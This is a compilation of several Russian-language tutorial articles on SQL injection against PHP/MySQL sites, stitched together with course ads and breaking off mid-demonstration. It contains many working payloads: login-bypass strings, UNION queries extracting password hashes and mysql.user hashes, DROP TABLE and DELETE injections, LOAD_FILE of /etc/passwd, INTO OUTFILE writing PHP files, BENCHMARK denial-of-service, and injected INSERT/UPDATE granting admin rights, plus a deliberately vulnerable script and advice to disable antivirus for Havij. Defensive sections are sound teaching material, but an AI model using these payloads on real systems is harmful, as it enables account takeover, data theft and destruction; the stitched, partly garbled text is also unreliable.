Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт
для регистрации на сайте.
Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.
Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.
В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.
SQL инъекции
SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.
«Слепые» инъекции
Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)
Пример 1
mysql_query («SELECT id, login FROM users WHERE login = ? and password = hash(?)»);
Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:
Пример 1а
Mysql_query(«SELECT id, login FROM users WHERE login = «» . $login . «» and password = hash(«» . $password . «»)»);
В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав «подготовленные» данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:
» OR 1=1; —
Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:
SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; — and password = hash(“;Some password”)
Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.
Более серьезные способы
В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей «users» , и что будет, если злоумышленник введет такой код в незащищённую форму:
My favorite login»; DROP TABLE users; —
Таблица «users» будет удалена. Это одна из причин почаще делать бэкапы баз данных.
_GET параметры
Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1
`, или ` http://example.com/users/1
`, или ` http://……./…/post
/35 `.
Что произойдет, если мы подставим в урл следующий код?
Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; —
Вероятно, такой запрос вернет нам логин пользователя и… хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.
И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:
«SELECT id, login, email, param1 FROM users WHERE id = » . addslashes($_GET[«id»]);»
проблемы не исчезнут.
Экранирование символов в строке
Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.
Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 — а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).
«SELECT * FROM users WHERE login = «»;
. addslashes($_GET[«login»]) . «;»»;
Этот пример можно хакнуть, передав 뼧 or 1=1; — в поле логина в форме. Движок SQL сгенерит конечный запрос так:
SELECT * FROM users WHERE login = «¿» OR 1=1; —
И вернет первого пользователя из БД.
Защита
Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.
Использование mysql_real_escape_string
Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем
Использование MySQLi
Это расширение для MySQL умеет работать со связанными параметрами:
$stmt = $db->prepare(«update uets set parameter = ? where id = ?»);
$stmt->bind_param(«si», $name, $id);
$stmt->execute();
Использование PDO
Длинный способ подстановки параметров:
$dbh = new PDO(«mysql:dbname=testdb;host=127.0.0.1», $user, $password);
$stmt = $dbh->prepare(«INSERT INTO REGISTRY (name, value) VALUES (:name, :value)»);
$stmt->bindParam(«:name», $name);
$stmt->bindParam(«:value», $value);
// insert one row
$name = «one»;
$value = 1;
$stmt->execute();
Короткий способ:
$dbh = new PDO(«mysql:dbname=testdb;host=127.0.0.1», $user, $password);
$stmt = $dbh->prepare(«UPDATE people SET name = :new_name WHERE id = :id»);
$stmt->execute(array(«new_name» => $name, «id» => $id));
Использование ORM
Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.
ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.
Выводы
Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.
SQL инъекция
— это атака, которая задействует динамические операторы SQL
, вынося в комментарии определенные части инструкций или добавляя условие, которое всегда будет истинным. Она нацелена на дыры в архитектуре веб-приложений и использует операторы SQL
для выполнения вредоносного SQL-кода
:
В этой статье мы рассмотрим методы, используемые при SQL-инъекциях
и способы защиты веб-приложений от таких атак.
Как работает SQL-инъекциях
Типы атак, которые могут быть выполнены с использованием SQL-инъекции
, различаются по типу поражаемых механизмов базы данных. Атака нацеливается на динамические операторы SQL
. Динамический оператор — это оператор, который создается во время выполнения на основе параметров из веб-формы или строки запроса URI
.
Рассмотрим простое веб-приложение с формой входа. Код HTML-формы
приведен ниже:
- Форма принимает адрес электронной почты, а затем пароль отправляется в файл PHP
с именем index.php
; - Сессия хранится в файле cookie
. Эта возможность активируется при установке флажка remember_me
. Для отправки данных используется метод post
. Это означает, что значения не отображаются в URL-адресе
.
Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:
- Запрос использует значения массива $ _POST
напрямую, не санируя его; - Пароль шифруется с использованием алгоритма MD5
.
Мы рассмотрим атаку с использованием SQL
инъекции sqlfiddle
. Откройте в браузере URL-адрес
http://sqlfiddle.com/
. На экране появится следующее окно.
Примечание
: вам нужно будет написать инструкции SQL
:
Шаг 1. Введите этот код в левую панель:
CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT,
`email` VARCHAR(45) NULL,
`password` VARCHAR(45) NULL,
PRIMARY KEY (`id`));
insert into users (email,password) values («[email protected]«,md5(«abc»));
Шаг 2. Нажмите кнопку «Build Schema
».
Шаг 3. Введите приведенный ниже код в правой панели:
select * from users;
Шаг 4. Нажмите «Run SQL
». Вы увидите следующий результат:
Предположим, что пользователь предоставляет адрес электронной почты [email protected]
и 1234
в качестве пароля. Запрос, который должен быть выполнен в базе данных, может выглядеть следующим образом:
Приведенный выше код SQL инъекции
примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:
[email protected]» OR 1 = 1 LIMIT 1 — » ]
и xxx
в поле пароля.
Сгенерированный динамический оператор будет выглядеть следующим образом:
- [email protected]
заканчивается одной кавычкой, которая завершает строку; - OR 1 = 1 LIMIT 1
— это условие, которое всегда будет истинным, оно ограничивает возвращаемые результаты только одной записью.
0; ‘ AND …
— это комментарий SQL
, который исключает часть пароля.
Скопируйте приведенный выше запрос и вставьте его в текстовое поле SQL FiddleRun SQL
, как показано ниже:
Хакерская активность: SQL-инъекции в веб-приложения
У нас есть простое веб-приложение, доступное по адресу http://www.techpanda.org/
, которое специально сделано уязвимым для атак с использованием SQL инъекций
для новичков в демонстрационных целях. Код HTML-формы
, приведенный выше, взят со страницы авторизации данного приложения.
Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.
Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:
Предположим, что злоумышленник предоставляет следующие данные:
Шаг 1
: Вводит [email protected]
в качестве адреса электронной почты;
Шаг 2
: Вводит xxx’) OR 1 = 1 — ]
;
Нажимает кнопку «Отправить
».
Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:
На приведенной ниже диаграмме показано, как запрос был сгенерирован:
- В запросе предполагается, что используется шифрование md5
; - Используется закрывающаяся одиночная кавычка и скобка;
- К оператору добавляется условие, которое всегда будет истинным.
Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций
несколько различных методов.
Другие типы атак с использованием SQL-инъекций
SQL-инъекции
могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:
- Выполнить удаление данных;
- Выполнить обновление данных;
- Выполнить добавление данных;
- Выполнить на сервере команды, которые будут загружать и устанавливать вредоносные программы;
- Выполнить экспорт на удаленный сервер злоумышленника ценных данных, таких как реквизиты кредитной карты, электронная почта и пароли.
Приведенный выше список не является полным. Он просто дает представление о том, какую опасность представляют SQL-инъекции
.
Инструменты для автоматизации SQL-инъекций
В приведенном выше примере мы использовали методы ручной атаки. Перед тем, как сделать SQL инъекцию
, нужно понимать, что существуют автоматизированные инструменты, которые позволяют выполнять атаки эффективнее и быстрее:
- SQLSmack
; - SQLPing 2
; - SQLMap
.
Как предотвратить SQL-инъекции
Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций
:
Ввод пользовательских данных не должен быть доверенным
. Его всегда нужно санировать, прежде чем данные будут использоваться в динамических операциях SQL.
Хранимые процедуры
— они могут инкапсулировать SQL-запросы
и обрабатывать все входные данные в качестве параметров.
Подготовленные запросы
— сначала создаются запросы, а затем все предоставленные пользовательские данные обрабатываются в качестве параметров. Это не влияет на синтаксис инструкции SQL
.
Регулярные выражения
— могут быть использованы для обнаружения потенциально вредоносного кода и его удаления перед выполнением операторов SQL
.
Права доступа на подключение к базе данных
– чтобы защититься от SQL инъекций
, учетным записям, которые используются для подключения к базе данных, должны предоставляться только необходимые права доступа. Это поможет ограничить действия, которые SQL-операторы
могут выполнять на сервере.
Сообщения об ошибках
— не должны раскрывать конфиденциальную информацию. Простые пользовательские сообщения об ошибках, такие как «Извините, возникла техническая ошибка. Служба поддержки уже уведомлена о ней. Повторите попытку позже
», можно использовать вместо отображения запросов SQL
, вызвавших ошибку.
Хакерская активность: использование для SQL-инъекций Havij
В этом практическом сценарии мы собираемся использовать программу Havij Advanced SQL Injection
для сканирования уязвимостей сайта.
Примечание
. Ваша антивирусная программа может реагировать на эту программу в силу ее природы. Поэтому необходимо добавить ее в список исключений или приостановить работу антивирусного программного обеспечения:
Упомянутый выше инструмент можно использовать для оценки уязвимости / приложения.
Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина — незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.
SQL инъекция (SQL injection
) — уязвимость которая возникает при недостаточной проверке и обработке данных
, которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.
Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний. Использование этой уязвимости дает путь к большим возможностям таким как:
- кража данных — 80%;
- отказ в обслуживании — 10 процентов;
- подмена или уничтожение данных — 2-3%;
- другие случаи и намерения.
Также существуют различные программы по тестированию безопасности сайта на всякие JS и SQL инъекции.
Подробное объяснение
В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии между и базой данных MySQL. Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:
CREATE DATABASE `news`;
USE `news`;
#
# таблица новостей
#
CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment,
`title` varchar(50) default NULL,
`date` datetime default NULL,
`text` text,
PRIMARY KEY (`id`)) TYPE=MyISAM;
#
# добавляем некоторые данные
#
INSERT `news` SET `id`=»1″, `title`=»first news», `date`=»2005-06-25 16:50:20″, `text`=»news text»;
INSERT `news` SET `id`=»2″, `title`=»second news», `date`=»2005-06-24 12:12:33″, `text`=»test news»;
#
# таблица пользователей
#
CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment,
`login` varchar(50) default NULL,
`password` varchar(50) default NULL,
`admin` int(1) NULL DEFAULT «0»,
PRIMARY KEY (`id`)) TYPE=MyISAM;
#
# добавляем несколько пользователей, одного с правами админа, другого простого
#
INSERT `users` SET `id`=»1″, `login`=»admin», `password`=»qwerty», `admin`=»1″;
INSERT `users` SET `id`=»2″, `login`=»user», `password`=»1111″, `admin`=»0″;
Видим, что запрос формируется в зависимости от значения $_GET[«id»]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.
Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет, как результат
«You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near «»» at line 1»
или результат
http://test.com/index.php?id=2-1
при наличии уязвимости должен выдать результат, аналогичный
http://test.com/index.php?id=1
.
Подобные уязвимости позволяют модифицировать запрос
в части параметра WHERE. Первое, что сделает злоумышленник при обнаружении такой уязвимости — исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.
http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null
количество «null» должно соответствовать количеству полей, которые используются в запросе.
Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.
Например:
http://test.com/index.php?id=-1+UNION+SELECT+null
теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.
Как узнать версии MySQL?
http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null
http://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null
http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null
Как вытащить логин текущего пользователя базы данных?
http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null
Как имя используемой базы данных?
http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null
Как получить другие данные из других таблиц?
SELECT *
FROM `news`
WHERE `id`=-1
UNION
SELECT null, `password`, null, null
FROM `users`
WHERE `id`=»1″;
Вот таким нехитрым способом узнают пароль или хэш пароля админа. Если же текущий пользователь имеет права доступа к базе «mysql», без малейших проблем злоумышленник получит хэш пароля админа.
Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user
Теперь его подбор это просто вопрос времени.
Поиск
Поиск — одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:
SELECT *
FROM `news`
WHERE `title` LIKE «%$search%» OR `text` LIKE «%$search%»
$search — слово, которое передается с формы. Злоумышленник может передать в переменной $search=»# теперь запрос будет выглядеть следующим образом:
SELECT *
FROM `news`
WHERE `title` LIKE «%»#%» OR `text` LIKE «%»#%»;
Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.
Использование параметра ORDER
Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.
http://test.com/index.php?sort=name
параметр ORDER формируется в зависимости от переменной $sort
Будет сформирован следующий запрос:
SELECT *
FROM `news`
WHERE `title` LIKE «%»/*%» OR `text` LIKE «%»/*%»
ORDER BY */
тем самым комментируется одно из условий и параметр ORDER
Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT…
Как вариант использования уязвимости этого параметра:
SELECT *
FROM `users`
ORDER BY LENGTH(password);
Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в «чистом» виде.
Авторизация
Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:
SELECT *
FROM `users`
WHERE `login`=»$login» AND `password`=»$password»;
где $login и $password это переменные, которые передаются с формы. Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат. Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается » OR «1»=»1 Или какое-нибудь истинное условие (1, «a»=»a», 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3). Соответственно запрос будет сформирован следующим образом:
SELECT *
FROM `users`
WHERE `login`=»admin» AND `password`=»» OR «1»=»1″;
что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в таблице хэшированные? Тогда проверку пароля просто «отключают», закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и «# тем самым закомментируется проверка пароля.
SELECT *
FROM `users`
WHERE `login`=»admin»#» AND `password`=»12345″
как вариант «OR `id`=2#
SELECT *
FROM `users`
WHERE `login`=»» OR `id`=2#» AND `password`=»12345″
SELECT *
FROM `users`
WHERE `login`=»» OR `admin`=»1″#» AND `password`=»12345″
Большой ошибкой является проверка пароля следующим образом:
SELECT *
FROM `users`
WHERE `login`=»$login» AND `password` LIKE «$password»
поскольку в этом случае для любого логина подойдет пароль %
INSERT & UPDATE
Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE. Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:
Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными. В поле login добавляем пользователь», «пароль», 1)# тем самым добавив пользователя с правами админа.
INSERT `users` SET
`login`=»пользователь»,
`password`=»пароль»,
`admin`=»0″;
Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько. Пример уязвимости в поле login: $login= пользователь», «пароль»), (1, «хакер», «пароль»)#
INSERT INTO `users` SET
(`admin`, `login`, `password`)
VALUES
(0, «пользователь», «пароль»),
(1, «хакер», «пароль»)#»,
«пароль»);
Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.
Подобная ситуация и с UPDATE
Добавление дополнительных полей для изменения:
$login=»,
`password`=»»,
`admin`=»1
Тогда подобный запрос
UPDATE `users` SET
`login`=»чайник»
WHERE `id`=2;
Модифицируется следующим образом:
UPDATE `users` SET
`login`=»»,
`password`=»»,
`admin`=»1″
WHERE `id`=2;
Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа. Или в случае
$login=»,
`password`=»»
WHERE `id` =1#
Логин и пароль админа станут пустыми.
DELETE
Тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее — всегда пожалуйста.
$id=1 OR 1=1
DELETE FROM `news`
WHERE `id`=»1″ OR 1=1;
// почистит все записи в таблице.
Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.
DELETE FROM `news` WHERE `id`=»1″ OR 1=1# LIMIT 1;
Работа с файлами через SQL инъекции
Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.
Про их опасность можно судить из нижеприведенных запросов:
SELECT *
FROM `news`
WHERE `id`=-1 union select null,LOAD_FILE(«/etc/passwd»),null,null;
SELECT *
FROM `news`
WHERE `id`=-1
UNION
SELECT null, LOAD_FILE(«/home/test/www/dbconf.php»),null,null;
Но на этом все беды еще не заканчиваются.
SELECT *
FROM `news`
WHERE `id`=-1
UNION
SELECT null,»»,null,null
FROM `news` into outfile «/home/test/www/test.php»;
Вот так записываем файл, который содержит PHP код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность PHP кода. Однако есть несколько условий, благодаря которым эти способы сработают:
- Включена привилегия FILE для текущего пользователя базы данных;
- Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер абсолютный путь к файлу;
- менее важное условие — размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.
Magic quotes
Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все » и » которые приходят с $_GET та $_POST. Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать «. В этом случае помогает функция сhar.
SELECT *
FROM `news`
WHERE `id`=-1
UNION
SELECT null, char(116, 101, 115, 116), null, null;
DOS через SQL инъекцию.
Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях:) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. «Не получится взломать, так хоть завалю» подумает хацкер, набирая функцию BENCHMARK для примера запрос
SELECT *
FROM `news`
WHERE `id`=BENCHMARK(1000000,MD5(NOW()));
Выполнялся у меня от 12 до 15 секунд. Добавив нолик — 174 секунды. На большее у меня просто не поднялась рука. Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но…BENCHMARK позволяет вкладывать себя один в один. Вот так:
SELECT *
FROM `news`
WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));
Или даже вот так
SELECT *
FROM `news`
WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));
Да и количество нулей ограничено разве что «добротой» того, кто их набирает.
Я думаю, что даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.
Итог
На этом все. В этой статье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко не полный перечень.
Важно запомнить правила против SQL инъекций
- Не доверяйте НИКАКИМ данным, которые приходят от пользователя. Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP заголовков. Следует помнить про те, что их легко подменить.
- Не стоит надеяться на опцию PHP «magic quotes», которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями базы данных. ($id=(int)$_GET[«id»]) или защищены функциями mysql_real_escape_string или mysql_real_escape_string.
- mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.
- Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания «удобных» URL, но уж никак не способ защиты от SQL инъекций.
- Отключите вывод информации об ошибках.
- Не помогайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок
и другой детальной информации — ваш союзник на стадии разработки, и союзник злоумышленника
в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи. - Обрабатывайте ошибки.
- Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.
- Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.
- Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc
- Не создавайте «супер-пользователя» базы данных.
- Предоставляйте только права, необходимые для выполнения конкретных задач.
- В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.
- Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том «Войны и мира».
- Всегда проверяйте количество возвращенных записей после запроса
Почти на 90% сайтов, написанных на php
встречается такая логическая ошибка, особенно это можно наблюдать, когда делается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID — мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в чистую страницу.
Безопасного вам SQL
.
Представляем вашему вниманию новый курс от команды The Codeby
— «Тестирование Веб-Приложений на проникновение с нуля». Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое.
Суть SQL-инъекций
Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом — раз — за пять минут — рисуем оставшуюся часть совы
».
Вот даже картинка по этому поводу есть:
По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…
Цель этой заметки — натянуть глаз на сову дать нормальное просто объяснение, что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны
.
Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:
Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:
query(«SET NAMES UTF8»);
$mysqli->query(«SET CHARACTER SET UTF8»);
$mysqli->query(«SET character_set_client = UTF8»);
$mysqli->query(«SET character_set_connection = UTF8»);
$mysqli->query(«SET character_set_results = UTF8»);
}
$name = filter_input(INPUT_GET, «name»);
$password = filter_input(INPUT_GET, «password»);
if ($result = $mysqli->query(«SELECT * FROM `members` WHERE name = «$name» AND password = $password»)) {
while ($obj = $result->fetch_object()) {
echo «
Ваше имя: $obj->name
Ваш статус: $obj->status
Доступные для Вас книги: $obj->books
«;
}
} else {
printf(«Ошибка: %sn», $mysqli->error);
}
$mysqli->close();
?>
Вы намного больше поймёте, если будете всё делать вместе со мной. Поэтому вот . В нём два файла: index.php
и db_library.sql
. Файл index.php разместите в любое место на сервере — это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.
В файл index.php в качестве имени пользователя базы данных задан root, а пароль — пустой. Вы можете вписать свои данные, отредактировав строчку:
$mysqli = new mysqli(«localhost», «root», «», «db_library»);
По легенде, это форма входа в он-лайн версию Бобруйской районной библиотеки. Нам уже дали учётные данные: имя пользователя — Demo, пароль — 111
.
Давайте введём их и посмотрим:
Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.
Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:
SELECT * FROM `members` WHERE name = «$name» AND password =»$password»
Слово SELECT
в SQL-запросе показывает, какие данные нужно получить. Например, можно было бы указать SELECT name, или SELECT name, password. Тогда в первом бы случае из таблицы было бы получено только имя, а во втором — только имя и пароль. Звёздочка говорит, что нужно получить все значения. Т.е. SELECT * — это означает получить все значения.
FROM
говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.
Далее WHERE
, если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае
(name = ‘$name’) AND (password =’$password’)
означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная ‘$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется (неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = ‘$name’ AND password =’$password’ означает: в таблице `members` взять значения всех полей, если для них выполняется условие — совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.
Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:
Адресная строка:
http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password;=111
Никакие данные не получены, вместо них мы видим ошибку:
